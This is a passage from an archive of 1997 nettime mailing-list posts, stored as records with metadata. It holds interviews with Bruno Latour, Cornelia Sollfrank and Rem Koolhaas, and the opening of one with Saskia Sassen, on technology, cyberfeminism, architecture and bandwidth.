revolutionairy element. The moving pixel is \nadded to the movable type. I always react negatively against the idea \nthat technology is a foreign body inside the humane. It does not come \nfrom another planet, it is highly socialized and connected with a long \nhistory. Negating this typifyes the danger of techno-enthousiasm. I \nwould add to the Peoples Communication Charter that is hanging here on \nthe wall: 'Do not believe that the computer has a short history.' \nThe computer is a perfect example of how non-modern we are. The\npossibility of shifting boundaries between images, text and things and\nvirtuality is a completely classical antropological feature. Now in Paris,\npeople are using a visualized 'Second World', where you can rent \nflats. People who are living in the drab 'banlieues' at the periphery \ncan now have virtual flats on the Champs Elysees. But that is nothing \ncompared to what it is to live in the society, which is a virtual \nreality from scratch. It materializes on the screen, with the notion \nof avatars and second reality. But it is not a revolutionairy break \nfrom being in the society. My argument is exactly anti-Virilio, if you \nwant. \n\nGL: At the end of your lecture you suggested that we should step back,\nout of flow of images. Do you also think that there is the danger of\ninformation overflow?\n\nBL: My argument was always the opposite. There is a heritage of the\niconoclastic dispute, which is nowadays renewed around this notion of\nthe overload of images. Lots of images were destroyed because people\nwere overloaded. That was exactly Luthers argument. Too many images\nwhich hide the important features which is itself not visible. My\nargument is an iconophilic one, which is always the opposite. One\nimage, isolated from the rest, freeze framed from the series of\ntransformation has no meaning. An image of a galaxy has no reference.\nThe transformation of the images of the galaxy has. So, it is an anti\ninformation argument. Pictures of a galaxy has no information content.\nItself the image has no meaning if it cannot be related to another\nspectography of a galaxy. What has reference is the transformations of\nimages. Being iconophilic means following the flow of images, without\nbelieving that they carry information. It is neither iconoclastic in\nthe sense of: let us get rid of the image because what we want to\naccess is the invisible, the innefable. On the contrary. If we follow\nthe logic of the images, they themselves past into one other image.\nImages demonstrate transformation, not information. But then there is\nthe contradiction the very daily practise of transformation and the\ntalk, the hype about information flows, internet universality etc.  It\nis the same with money. When you talk with financial specialists, it is\nhighly localized, confidence based, small networks of people calling\none another by first name. Again, if we go outside, we talk about hugh \nflows money going from New York to Hong Kong in a second. We have a \ntremendous hype about globalization, immediacy, unversality and speed. \nOn the other side we see localized transformations and there seems to \nbe not connection between the two. Somebody like Paul Virilio is \ninteresting because he, rightly, attacks the hype. This is good common \nsense critique. But we never study the practise.\nSo the computer is not an abstract machine. Nothing is chewing like.\nEverything is highly incarnated and situated in sillicon chips. There\nis this bizarre love-hate relationship. Virilio is typical in this. He\nloves to hate the techno hype. And the technicians very often hate to\nlove. But there is another way, in between.\n\nPit Schultz:  But there is the notion of secrecy and hermetism. \nSpecialists and technicians do have secret knowledge about the \nimplementation of the modes of transformation. Average people do not \nknow how financial markets work, how currencies are transformed from \non into the other. But these tranfers have a lot of impact on the \nsociety. The transformations become myths and are causing fear.\n\nBT: But is it secret or is it localized knowhow? My feeling is that we\nshould not add to the myth. No myths about local knowhow! The notions\nof information, universal immediacy, globalizations, add to the myth.\nIt is not very surprising for the common public that you need a lot of\nwork in order to produce an image. Look at the cloud chamber which is\nhere at the Documenta, or Hamilton's display. When you talk about\nparticles, no one will understand it. When do speak about bubble \ntrails in the bubble chamber, invented by Wilson to study clouds, it \nbecomes extremely simple to understand. Secrecy exits in research labs \nfor legal reasons, for pattent reasons, but it is much less \nimportant than is usually being said. A lot of mystery in\nthe science practise, which I know best, comes because we render things\nmore obscure. And intellectuals should not render things more obscure\nthan they are. It is a mystery we like to have in order to debunk it.\nThe notion of localized practise is so common sense. I do not know how\nsausages are made. Sausages are obtained through a lot of \ntransformations as well. And since I do not make a hype about sausages \nI do not see why we should make one out of computer images. Like what \nyou do here in Hybrid Workspace: introducing groups week after week in \nthe practise of technology. That seems a perfectly sensible thing to \ndo. Nothing is hidden, expect through our love to hate. \n\nGL: Universities are now closing their public part of the internet and\nare building up their own, closed, parallel intranets. A lot of data\nthat were publicly available will be drawn back. This goes together\nwith the privitization and commercialization of much of the scientific\nresearch. How do you look at these developments?\n\nBL: I am not enough of an expert in this. What I know is that you\ncannot ask scientists to work publicly, immediately connected to\nmillions of people. The notion of openness and immediacy is a complete\nnightmare. But this is different from the notion of private knowledge.\nThis is process, again, has been going on for centuries in chemistry.\nOne of the aspects is the legal one. How much is private and how much\nis appropriated? Openness is not very productive. You need to have\nlocal niches. Isolated, provincial, unconnected disciplines have been\nshown very successfull in the past. You need to have your own little\ncorner and we will see what the consequences of the internet will be on\nscientific work. Scientists keep on subscribing to very expensive\njournals because they need the stamp of hierarchical knowledge. As long\nas the Net does not find a way of providing this, it will not achieve \nthe authoritative status with the scientific community. Publications \non the Web  are still very traditional. It has not moved much, with \nthe exception perhaps of e-mail.\n\nGL: How would you then judge attempts, like nettime, to develop a so-\ncalled 'net criticism', locating itself inside the technology, no\nlonger judging it as an outsider, in order to overcome the phase of the\nhype, without going back to cultural pessimism.\n\nBL: If you find a way to deterritorialize, to dissolve localities and\nhierarchies, there might also be ways to reconstruct hierarchies and\ncome with filters, tastes, judgements and values. Everybody is\ncomplaining about the lack of hierarchy in the Net. The more unmediated\naccess you have, the more closed and highly hierarchical and critical\nsites you will find. In our centre we invented a system called\n'semiotext' which gives maps of internet texts by clustering the words\ninto a system called Leximap. It gives you highly hierarchized maps.\nThis sort of system will proliferate. It gives you depth of vision,\nwhich can be given a critique. It will be a highly elaborate site if\npeople know that they can find good critiques there. Again, everything\nwhich runs against the notion of information will happen just by \nitself. Universality, fastness, immediacy will not suddenly be there, \ndespite the hype.\nOn the contrary, local transformation, hierarchy, taste, critique: \nthat will happen. The idea of information as immutability and mobility \nbeing non-contradictory, being able to flow everywhere, does not work \nat the level of science, nor at the level of the computer or politics. \nWe can make a save bet that it will not happen.\n\nGL: How do you see the relation between real and virtual spaces, the\nruptures and possibilities to connect them, like we do here, in\nWorkspace? Do you believe in the so-called synergy of all media? Here\nwe work with video, the Net, we have the tradition of film, and print \nof course. We have all these different media here. Should we encourage\nthe hybridity of all these machines?\n\nBL: Hybrid is a word I like. But you know also there this no\ninstantaneous access to these machines. You need to train people. it\nwill never work exactly the way you want it. You need a lot of\ndifferent cables. They are hanging on the wall here. Sometimes\ntelevision works with another medium. In France we never get something\ndone because we have the SECAM standard. Everytime the hype is deflated\nand you say that you will locally connect media to produce a few new\neffect, is a perfectly reasonable statement for me. To connect all with\nconnect is pure ideology. When it comes to multimedia... I was was in\nColmar, looking at the Isenheim altarpiece by Matthias Gruenwald. It\nis hypermedia: the different panels are openening and closing,\ndepending on the days of the week and the feasts. It includes painting\nplus sculpture plus the reading of the gospel, the mass. The rule is:\nwhatever medium there is, you will always find someone to make a\nconnection with them. But this is not the same as saying that there is\nan instantaneous connectibility. The digital only adds a little speed \nto it. But that is small compared to talks, prints or writing. The \ndifficulty with computer development is to respect the little \ninnovation there is, without making too much out of it. We add a \nlittle spirit to this thing when we use words like universal, \nunmediated or global. But if way say that, in order to make visible a \ncollective of 5 to 10 billion people, in the long history of immutible \nmobiles, the byte conversion is adding a little speed, which favours \ncertain connections more than others, than this seems a reasonable \nstatement. To say that we are living in a cyberworld, on the other \nhand, is a complete absurdity.\n\n(edited by Patrice Riemens)\n\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Wed, 3 Sep 1997 18:03:16 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199709031905.UAA12869 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9709/msg00006.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with bruno latour"
            },
            {
                "content-type": "text/plai",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "id": "00018",
                "content": "\nCornelia Sollfrank is a professional artist from Hamburg Germany.\nShe regrets doing too much work, nine projects at the moment. She\nspends a lot of her time organising her work, putting up schedules,\nmaking lists, creating databases.\nShe was interviewed at the nettime meeting in Ljubljana in May this\nyear. She is one of the women involved in organising the workspace\nblock at Documenta about cyberfeminism.\n\n*\n\n\nQ: Could I say you are mostly known for your work with the\n   group Innen?\n\nCS: Thats certainly a very important part of my work. In this group\nI am together with three, meanwhile four other women. The concept of\nthe group if that whenever we show up in public, we all look the same.\nIts a bit confusing for people to identify a single person. We never\nuse our own names when we show up with Innen, we always say 'we', we\nall have the same opinion and we all look the same. So we created the\nidentity of one person consisting of five different. Its the opposite\nphenomenon of what is known as schizophrenic, where one person is\nsplit up in many. We are suffering from the opposite symptom: we are\nmany and we all became one. I won't talk about the philosophy behind\nit. I just say it works well.\n\nQ: You were asked by Geert Lovink to fill up one of the blocks in the\n   Documenta workspace. What do you want to do?\n\nCS: First I said no, because its not *me* that is going to do it. I\nwon't do it as one person. So I asked some more people if they would\nlike to contribute or join me for everything and we set up an\norganisation which is now responsible for this block. The name of the\norganisation is \"Old Boys' Network\". Its the first cyberfeminist\norganisation worldwide as far as I know.\nWhat we are going to do at Documenta is we are going to think about\nwhat cyberfeminism could be. As far as I know there are no definitions\nor there are many different ones. We'll try to bring together all the\ndifferent notions of this term. We'll think of strategies of how this\nterm could perhaps help to set up a new goal, a new political goal.\n\nQ: You say you want to explore what cyberfeminism is or find a new\n   definition: does that mean it doesn't have one yet?\n\nCS: They are so different that they are really no definition. It also\nseems not very spread. Its only in a few countries, a certain group of\npeople uses this expression. One plan of our Documenta appearance is\nthat we want this term heavily spread all over the world. We want\neverybody talking about cyberfeminism.\n\nQ: But why if you don't know what it is, if you don't have a\n   definition yet and you don't know what cyberfeminist issues are,\n   why the hell do you want to spread it all over the globe?\n\nCS: Because people will ask themselves what it is. They will find out\nthat they won't find out, so the next question is: what could it be?\nThey have to start thinking for themselves what they want it to be.\nIts very open so maybe what I want it to be, could be the definition\nof cyberfeminism. The basic question is:\nwhere do I work, what is my goal, where do I want to go to.\nI want to use cyberfeminism to rethink these things.\n\nQ: Does that mean you are missing something in feminism or you want\n   to continue something from feminism into the new digital age?\n\nCS: I think the phenomenon about cyberfeminism is that it became kind\nof tabu in the nineties to be a feminist. Nobody actually wanted to\ntalk about it. This certainly has reasons for women. I think we all\nlive of the benefits of feminism, women, but also men. There are\nhowever some very problematic aspects that came along with feminism.\nIt took many years, it took lets say the nineties to think about these\nthings. What were good things we use and what were the bad things, to\nbecome aware of it. I'ld like to break this tabu of feminism and\nrethink the whole history of feminism. I'ld like to connect to it again\nafter this whole period of not using it anymore.\n\nQ: How do new media come into that?\n\nCS: All kinds, mostly as a means of distribution, of exchanging, of\nconnecting.\n\nQ: Do Donna Harraway's ideas come into it at all? The cyborg notions\nof technology and biology being sort of undermined by some of these new\ntechnologies, that produce new models of different ways of looking\nat gender, does that come into it at all?\n\nCS: Certainly. She is very important. She used this model of a cyborg\nas a projection without gender. So as a model for trying to think not\ngenderrelated. Thats very interesting. But I don't think it is the\nright time to use these big names. For me cyberfeminism is a concept\nfor every single person to start thinking by themselves and not reading\nthe big thinkers.\n\nQ: Do you think there any specific issues for women online?\n\nCS: No, I don't think so really.\n\n*\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Mon, 7 Jul 1997 21:44:11 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "l03010d08afe713543843 {AT} [194.109.44.130]",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00018.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> interview with Cornelia Sollfrank"
            },
            {
                "content-type": "text/plai",
                "from": "\"Pit Schultz\" <pit {AT} uropax.contrib.de>",
                "id": "00040",
                "content": "\nInterview with Rem Koolhaas by Tom Fecht\n\nJune 26, 1997 in Workspace at Orangerie, Kassel\n\n(first transcription, audio version available at\nhttp://www.icf.de/cgi-bin/RIS/ris-display?868751729)\n\n\n\tTom Fecht for Kunstforum International: I would like\nto continue a little bit the discussion we had last night\nwith Edward Said. There was a very important statement, as\nfar as I understood it, in the context of the division of\nlabor in the field of aesthetic production. He made a very\nimportant point about the role of intellectuals being\nconfronted with expertise. And he made a very strong\nstatement, which made a point very clear in the political\ncontext of Palestine, which I think, we can take the risk\nto generalize a bit. He said that \"every time there is a\ncry for identity we should be careful because scandals and\nlies are around\"\n\n\tRem Koolhaas: Because what?\n\n\tFecht: \"Because scandals and lies are around\". And he\nhad a pladoyer to offer instead several identities to allow\ntransformation for future partnership. This was one of his\nessentials. So when I look to your manifesto which has been\npublished in 95 about the generic city, the city without\ncharacter, identity is one of these important obstacles to\nthink freely about the future. So I would like to get to\nthe geographic elements in your terminology of identity.\nWhen you talk about the centers, this becomes a very\nimportant point. Maybe you like to give some points to that\nquestion.\n\n\tKoolhaas: Yes, maybe we should not assume that those\ntexts are known. But anyway, as an architect I became aware\nat a certain point, that there was a strange obligation of\nour profession to call the dominant condition of the\ncontemporary urban environment, and when I say dominant I\ndon't mean the centers but relatively recent urban\nsubstance, that most of us live in, to always call it\nidentity-less and to always refer to the identities of the\nwell-known centers, the identity of Paris, the identity of\nBerlin, the identity of ... So I noticed a kind paradox: On\nthe one the vast majority of people was living in so called\nidentity-less conditions and there was still the discourse\nwas mostly about preserving identities, establishing\nidentities and exploiting identities. So basically I\nreversed the questions and decided to make an inventory\nwhich I called the \"generic city\", the general city, the\ncity without qualities, the city without identity, which is\nsimply an inventory of a new urban condition that is very\npervasive in Asia but which is equally pervasive in America\nand in Europe, and try to explain or basically try to\nexplain to myself maybe in the first place what the virtues\nof this identity-less space could be and obviously one of\nthe enormous virtues is that once there is no identity you\nare also liberated from a whole series of obligations, a\nwhole series of assumptions and a whole series models.\n\n\tFecht: When one looks at your installation in the\nOttonaeum which is one of the two important key\ninstallations in the whole Documenta if one compares it to\nthe one in the Friedericianum of Van Eick, the room right\nnext you has the installation of Reinhardt Mucha, which\nshows sort of shrines of pieces of architecture, an\narcheology of architecture. In your manifesto you raise the\npoint that architecture is one of the most important media\nto register history on the horizontal level, when it comes\ndown to archeology and you are scheming up with next\ncentury to have rather an archeology of the horizontal\nwhere you stop digging and instead you need an endless\nsupply of airport tickets to move around the world.\n\n\tKoolhaas: Of course the whole article on the generic\ncities has a level of irony. What I am fascinated in is\nthat kind of compared to earlier civilizations that\nactually left traces. It seems as if our civilization is\ndoomed partly because larger and larger parts of it are\ntaking place in cyberspace but also because our style of\nbuilding is less and less permanent and more frivolous and\nflimsy. It seems that this literally age old tradition of\nleaving a kind of imprint of civilization in the form of an\narchitectural layer, that we will be the first generation\nnot to do that any more. But what you are saying is on the\nother hand between Mucha and ourselves: It is very\ninteresting for me that at the moment that architecture has\nlost an enormous amount of its original credibility that\nmany artists are becoming seemingly obsessed with\narchitecture. And I don't know whether this is whether that\nis simply because they don't know how completely eroded on\nthe inside the credibility of architecture feels or whether\nthey actually may have something to contribute.\n\n\tFecht: I can see that architecture becomes a field of\nvision for a lot of artists and in your manifesto you raise\nthe point that exactly at that moment in history when the\ncity started to die out, you can observe the discussion of\nart in public space. And you make the equation that if you\nadd two dead things you can't get the thing alive again. So\nthis is not a dracula, the performance doesn't work. So I\nwould be curious if we come back to the beginning question\nof the division of labor, not to say 'industrial' division\nof labor in aesthetic production what kind of potential you\nsee in the artistic production to maybe come to this point\nof changing identities, transforming for future partnership\nbetween the art, artists and maybe even the question of\nauthorship. Maybe you can even give some details of the\norganization of your office.\n\n\tKoolhaas: OK, I think one thing which is really\nliberating about the Documenta as a whole is that all the\nprofessional kind of identities have been leveled and taken\naway and that there has been a much more even condition\nwhere somehow the theme is the urban condition and how we\ninhabit the urban condition, it's illuminated by people\ncalled artists and people called architects, and also be\npeople called photographers or scientists. For me it really\nrepresents an enormous relief and a sense of freshness that\nwe are no longer forced to pretend to have certain\ncompetencies and abilities, but it seems what the main\ntheme of the exhibition is that there is a collective and\nthat each of us makes part of this collective and that\ntherefore the old play of vaguely different roles that\nstill the collective responsibilities are asserted above\nthe individuals and professionalised identities. I think\nthat is a very liberating theme of this exhibition. I am\nvery curious whether in reviews that eventually will come\nout.\n\n\tFecht: When I spoke several days ago with Katherine\nDavid, one of the key points for her conception was that\nshe sees the urban area as one most essential and important\naesthetic and social experiences of the 90s...\n\n\tKoolhaas:  I don't think so. Ironically it has nothing\nto do with the 90s, their interest here... what is\nhappening now, and I think the 90s are just marking the\ncondition that whether we want it or not or admit it or\nnot, for the first time almost every one on the world lives\nin an urbanized condition, or is about to live in an\nurbanized condition.\n\n\tFecht: So the whole terminology of architecture, the\ncity, doesn't work any more the way we used to handle these\nterms.\n\n\tKoolhaas: No, I think that for instance in China and\nabout what I will talk about also tonight. [see links] There\nare conditions where a village, or a person in this\nvillage, owns a fishpond, sells the fishpond to a\ndeveloper, the developer builds a skyscraper in the\nfishpond, the entire village moves into the skyscraper, so\nsome farmers live with chickens and goats on the 42 floor,\nand around the skyscraper there are rice fields. I think\nthat things that we, in our minds keep separate and place\nvery far apart, with a kind of suddenly telescoped, as if\naccording to a computer program like Photoshop where you\ncan simply combine everything in a single image that you\nwant to combine. So it seems as if certain inhibitions that\nhave traditionally organized architectural and everyone's\nspace have disappeared and we are suddenly in a situation\nwhich is much more absurd and potentially much more\ndangerous but where anything can be combined to coexist\nwith almost anything else. And I think that in that\ncontext, public art and public space as they have\ntraditionally been interpreted are both extremely dubious,\nbecause  public space is an organized form of space which\nimplies a certain behavior and insists on a correct use.\nAnd I think that is already too authoritarian to really\nfunction in these conditions. And in the same way art which\nis supposed to represent this kind of publicness, also in\nmy eyes at least is no longer believable. I think that in\nthe last ten years it just has become bigger and bigger and\nmore and more desperate.\n\n\tFecht: When you wrote about your generic city you said\nthe generic city is what's left when important parts of\nurban life takes place in cyberspace. Which explains why we\nlose places and streets as public locations. To what extent\nare these medias in their aesthetic potentials useful to\nreorganize the tools and the skills of architects and in\nterms of education and practice.\n\n\tKoolhaas: That is a very interesting question because\narchitecture, in my view, is a profession that consists of\nconcrete entities that are built and that have a real\nexistence. Or even though, of course, you can also create a\nkind of virtual architecture in cyberspace or can have a\nkind of architectural experiences in cyberspace. But I\nthink the more interesting aspect of architecture is still\nthe more concrete architecture. But nevertheless I think\nthere is an enormous influence of virtuality on\narchitecture and you could say and it is only a partly a\ncaricature that probably out of a sense of insecurity some\nof the best architects these days are trying to make their\nbuildings immaterial, as if they don't exist. And trying to\nendow them with that kind of glamour that computer aided\nimages have, the perfection and the sterility maybe also.\nSo there is in a way a kind of strange simulation of\nvirtuality in real architecture. But what is for me more\ninteresting is the kind of shamelessness and amorality that\nbasically the computer implies in terms of the ability to\ncombine everything with everything else in single frames,\nthat kind of lack of resistance, and the absence of\nnecessity for discipline, that all these are in effect\ndeeply effecting architecture, but the built form of\narchitecture.\n\n\tFecht: In the portraits given in the guide of the\nDocumenta, there is a strong emphasis on the importance of\ntheory in your architectural practice.\n\n\tKoolhaas: Basically I don't think that architectural\ntheory exists,  that's a side I am very modest about, of\ncourse there is thinking in architecture, and what I have\nnoticed in my architectural practice is that it is\nincredibly difficult to combine the production of buildings\nand some kind of intellectual reflection because the\nproduction of buildings is really a very brutal and\nexhausting process. What I have always been concerned about\nis that how in the typical architect's career there is an\ninitial beginning with ideas, then an enormous effort to\nmake the ideas real and then at the end of this effort a\nkind of exhausted, empty condition where there are no ideas\nany more. That is why in our work we try to alternate\nbetween research and reflection and that is also why I am\nteaching at Harvard University because this is the only way\nin which, against the consumption of ideas, of the\npractice, we are able to find domain of renewal.\n\n\tFecht: Do you see any emotional or moral qualities in\narchitecture that might survive the processes of profound\nchanges in the next century. When I look at your book of\nthe \"small, medium, large, XXL\" it appears to me like the\nmanifesto which some of your critics put in the context of\nthe manifestoes by Duchamp or Manetti and the futurists, so\nwhen I think about Marshall McLuhan's book \"the medium is\nthe message\" which was a book that had an element of this\nfree-folded typography, where the message was not that\nclear, this was one of the points we had in the discussions\nlast night, that it is important to see that the\nborderlines got out of focus. You describe architecture or\nactivities in the aesthetic field as the possibility to\ngive an urban fashion to the planet. What is this free\nfold? Is it a movement of search which you could also find\nat the Documenta?\n\n\tKoolhaas: No. To the extent that the book was called\n\"free fold\", we were only talking about the format of the\nbook, because the problem of the book is to create a\ncontainer or an envelope for work and ideas that in\nthemselves don't make any claim to consistency. Because I\nthink that Said didn't speak about consistency, for me the\nneed for consistency and the way only consistency earns\nrespect, is one of these other dangers of the intellectual,\nbecause I think inconsistency is at least as important so\ntherefore in the book we had a lot of different projects, a\nlot of different essays, a lot of different insights, and I\nwanted exactly to avoid the impression that it is one\ntheory, one line, one argument. The issue was how can you\ndevelop a container that still allows the diversity, the\nconflicts and the contradictions to remain evident.\n\n\tFecht: When you take this container: What do you think\nare the most urgent tasks in the education of architects\nduring the next decade speaking of Europe. In your\ninstallation in the Ottonaeum you make a strong point which\nis basically statistics: How many living unions are\nconstructed in one night, two architects, three computers.\nSo it is a quality which changes by quantity in a dimension\nwhich is hard to imagine for European traditional\narchitectural education.\n\n\tKoolhaas: I am always very bad in saying what people\nshould do or I am already bad on the level of the\nindividual, I am certainly bad on the level of a continent,\nbut I think that, just as an example, I negotiated a\nsituation with Harvard University where I said I would\nteach there under the condition that I would not be\ninvolved in design, or design education. I guess that\nbasically suggests that I don't believe in design education\nat this moment. And that I think that the discrepancy\nbetween issues that could inspire architecture and the\neducation has become so big so that it would be probably\nmuch better to suspend design education for 10 years, and\nto introduce 10 years of solid research. I am sure that\nthere is vast research to do in the urban condition in East\nEurope, in Kazachstan, where ever. The pretension that you\ncan still tell people how to operate is becoming for me\npersonally more and more unthinkable.\n\n\tFecht: To what extent you could imagine a cross-\ncooperation between artists, no matter what field. Do you\nsee any chances in your economic and developing structures\nto include artists in this process or is this rather a\nposition of analysis and observation.\n\n\tKoolhaas: It is hard to say,  and you yourself started\nwith it already, that the basic idea of specialization is\none of the things that inhibits  forms of thinking. For me\nit is more interesting to think about brains, and to assume\nthat artists also have brains, and the artists have a very\nparticular reflection of intellectual processes. In that\nsense we work with friends which happen to be artists or\nsometimes we actually formally invite somebody because he\nhas specific reasons to do it. It is not the need for\narchitecture to encounter artists, but it is more to\ncombine different kinds of brain power.\n\n\tFecht: One specific question in the context of\nidentity. Last night we had this interesting position of\nMr. Said, where he basically said: Many identities are much\nbetter then one. But we can't understand history without\nmemory. Since architecture is a very important element of\nstoring memory and history, what function could memory have\nin the context of architecture from your point of view\nlooking at the next century.\n\n\tKoolhaas: Well I am very bad to tell people what to do\nand I am also incredibly bad in looking forward, I don't\nknow why that is exactly but I think I have an obsession\nwith the present and I am extremely reluctant to make any\nclaims or dictates for what is going to happen. We have\nalready talked about the way architecture leaves less and\nless traces. What I guess is that some other domains have\nto take over the role of memory from architecture. Exactly\nthis traditional doesn't work any more, for instance you\ncan look at Berlin now to see very clearly what is\nhappening because to the extent that architecture embodies\nmemory the present reconstruction of Berlin is a kind of\nblatant attempt to extinguish and to eliminate certain\nkinds of memories, the memories of communism, the memories\nof the fifties, the memories of a kind of sober, optimistic\nmoment of modernity. So already see that this kind of\nresponsibility to embody memory is no longer part of the\ninner self-image of the profession. So, there is such a\nkind of ruthless judgment in terms of what is good and what\nis bad that the most intelligent part of the profession\nwhich for the sake of argument we should assume, is\ninvolved in redoing Berlin is actually basically a single\nempty memory operation.\n\n\tFecht: I don't know if you had the chance to look at\nthe most part of the exhibition. Let's take for example the\ninstallation of Syberberg, called \"Memory Cave\", the cave\nis explicitly not architecture, it is an element going\nbeneath. In this context Syberberg starts with Plato's\nmetaphor of the cave, and he gives some images of the\nPotsdamer Platz in the context of the Reichskanzlei, and\nsome images out of the car, a few days later, all these\nimages interfere with memory which looses its location,\nwhich obviously no longer has a consistent place. Is this\nan aesthetic approach which you could feel to get into\ncloser communication with advice for a solution. Or if you\nlook at the national library which has been recently opened\nin Paris, where you have this metaphorical element and you\nhave practical implements of the building in the same time.\nIn this context, could you reflect on memory maybe.\n\n\tKoolhaas: I think this building is a kind of desperate\nattempt to impose a memory on an entity which, as you say,\nin terms of its pragmatic needs has nothing to do with a\nmemory. Therefore the only consistency, if I can make a\nconfession, that our thinking in our work have had in the\npast, is that we refuse ever to be bitter about anything\nthat happened in the past and we try to, without being\nfoolish, try to interpret the inevitable, which allows a\nforward movement. To the extent that we no longer have the\nresponsibility to symbolize memory or to represent memory\nor no longer have the responsibility to represent anything,\nI think it is extremely exiting for us, then it means that\nwe can be completely new, completely dumb, completely\ninarticulate, completely inert, completely meaningless. It\nsimply reintroduces a vast amount of possibilities.\n\n\tFecht: thank you very much.\n\n\tEike Becker: Just a very quick question. A lot people came here to\nthis exhibition and they expected something similar like\nthe gestamapet kunstwerk or so on. They identify where they\nidentity of one single artist or so on. The question of\nGestampt kunstwerk.Then the question of collage, what is\nyour position towards collage, what is your position to\nthese two area.\n\n\tKoolhaas: Are you talking about Documenta as a whole?\n\n\tBecker: Yes, Documenta as a whole, and of course, the\nrelationship of gestamptwerk and collage to your work and\nthe works of others.\n\n\tKoolhaas: I don't whether I can answer the question,\nbut for me in spite of the criticism we have heard and read\nI think what is extremely exciting there is a very thematic\nand ambitious and uncompromising situation in this\nDocumenta. Greater Urban and all its aspects has been\nrepresented as the dominant and continuos setting. Whether\nits gezamptkunstwerk or not, I think gesamptkunsterk is a\nkind of romantic notion and I think that there is a kind\nof, very insistence on a romantic view in whole ex and an\ninsistence on cooling the temperature kind of rather than\ncreating an overheated expectation an almost clinical\nquality which I think is extremely stimulating because it\nallows you for the first time to really look clinically at\na number of things and relate make your own connections,\nbetween them instead of being guided by hand of the\ngestampgtkunsterk.in terms of forcing you tom make those\ndecisions so the clinical quality  also has a certain\nfreedom for creating your own raptor. IN terms of collage,\nI've always been uncomfortable with the notion of collage,\nbecause I've always been much more interested in the notion\nof montage, I think because the montage is basically the\nplanning of a series of events or the planning of a series\nof visual or other episodes. Whether its stories or in a\nmovie, or episodes in a painting. I think that collage is\nsomething that anybody can do but montage introduces an\nabstract strategic value which I sense here in the hand of\nthis exhibition. It is much more a montage than a collage.\n\n\tOK, thank you.\n\n\n\nmore info:\n\nRem Koolhaas lecture within the 100 days / 100 guests program:\nhttp://www.mediaweb-tv.com/dx/rv/28dx0622.ram\n(only with real video player)\n\nfan page with many links:\nhttp://studwww.rug.ac.be/~jvervoor/architects/koolhaas/index.html\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Sun, 13 Jul 1997 03:48:25 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "m0wnDly&#45;0000FyC {AT} freebse.contrib.",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00040.html",
                "list": "nettime_l",
                "author_name": "Pit Schultz",
                "subject": "<nettime> Interview with Rem Koolhaas"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00055",
                "content": "\nBandwidth and Accountability\nAn Interview with Saskia Sassen\nBy Geert Lovink\n\nHeld in Hybrid Workspace, Documenta X, Kassel\nJuly 11, 1997\n\nGEERT LOVINK:  What will be the topic of your lecture tonight and will you\nspeak about bandwidth?\n\nSASKIA SASSEN: For me, no matter where I start. I will arrive at\nbandwidth... The subject is cities as strategic places for economic\nactors, and possibly, for a new kind of politics. In that new kind of\npolitics I am thinking of such diverse actors as immigrants, but also net\nactivists.\n\nLOVINK: Let's talk about the geography of cyberspace. We have a\nlot of maps on display here, in Hybrid Workspace, and they show the\ninequality of (the distribution of) bandwidth worldwide. These figures are\ngiving a dry and precise picture.\n\nSASSEN: Many people are of course aware about this basic architecture of\nthe networks. But to have the data so precisely is extremely important.\nOne of the concerns for me has been to understand the differences\nbetween private digital space and the public one. A lot of theoretical\nwork has been done on public digital space, like for example about the\nDigital City in Amsterdam. I have been concerned with private digital\nspace. And with what I see as a colonizing of public digital space by\nprivate (i.e. corporate) actors. We have three phases of the Internet. The\nfirst phase is that of the hackers, where access was the issue, making the\nsoftware available. The second one, when you begin to have the interest by\nprivate actors that did not quite know how to use it. It still was\nmostly a public space, in some ways protected. And now a third stage: (the\ninvasion of cyberspace by corporate actors: it's really combat out there.\nSo for me, the Internet becomes a space for contestation. I am here not\nonly thinking about multinational corporations.  I am thinking of all kind\nof actors, including the misuses of the Net, which is something serious\nalso.\n\nThe bandwidth capacity is forever a very difficult issue. It is not\nclear to me if the capacity will be endless, like in the notion of the\nold frontier, where you had 'endless land'. But it is not really\nendless. It takes a number of events to discover that. Certain\nlaboratory production of capacity are enormous, in term of bandwidth.\nBut I am not sure what happens once it moves from the lab to people and\ncompanies. There are two issues: the economics of introducing the new\ntechnical capacities taht are possible. And economics matters. We\nallready now have poor men and women's e-mail, where you wait forever.\nIf you can pay, you will have a high speed connection. The other issue is\na 'de-greening' of the pratices in the Net, which I find very disturbing.\nThe issue bandwidth consuming multimedia, for instance, where things could\nalso have been done via e-mail.\n\nLOVINK: In order to have a broad, general debate about the issue of\nbandwidth, it might be important to see how we can visualize this\ntopic. Which metaphors do we use, what kind of images? How would you\ndescribe the bandwidth topic for a wider audience?\n\nSASSEN: I grew up in Latin America. Anybody who has spent some time there\nor in Africa, knows what it is to get a international, long distance\ncall going. You have to wait, sometimes for hours. You don't just get\non the telephone and get access. Why? Because it is a question of the\ncapacity. You will experience the notion of inadequate carrying\ncapacity. Today, those of use who use e-mail through institutions have\nalso had that 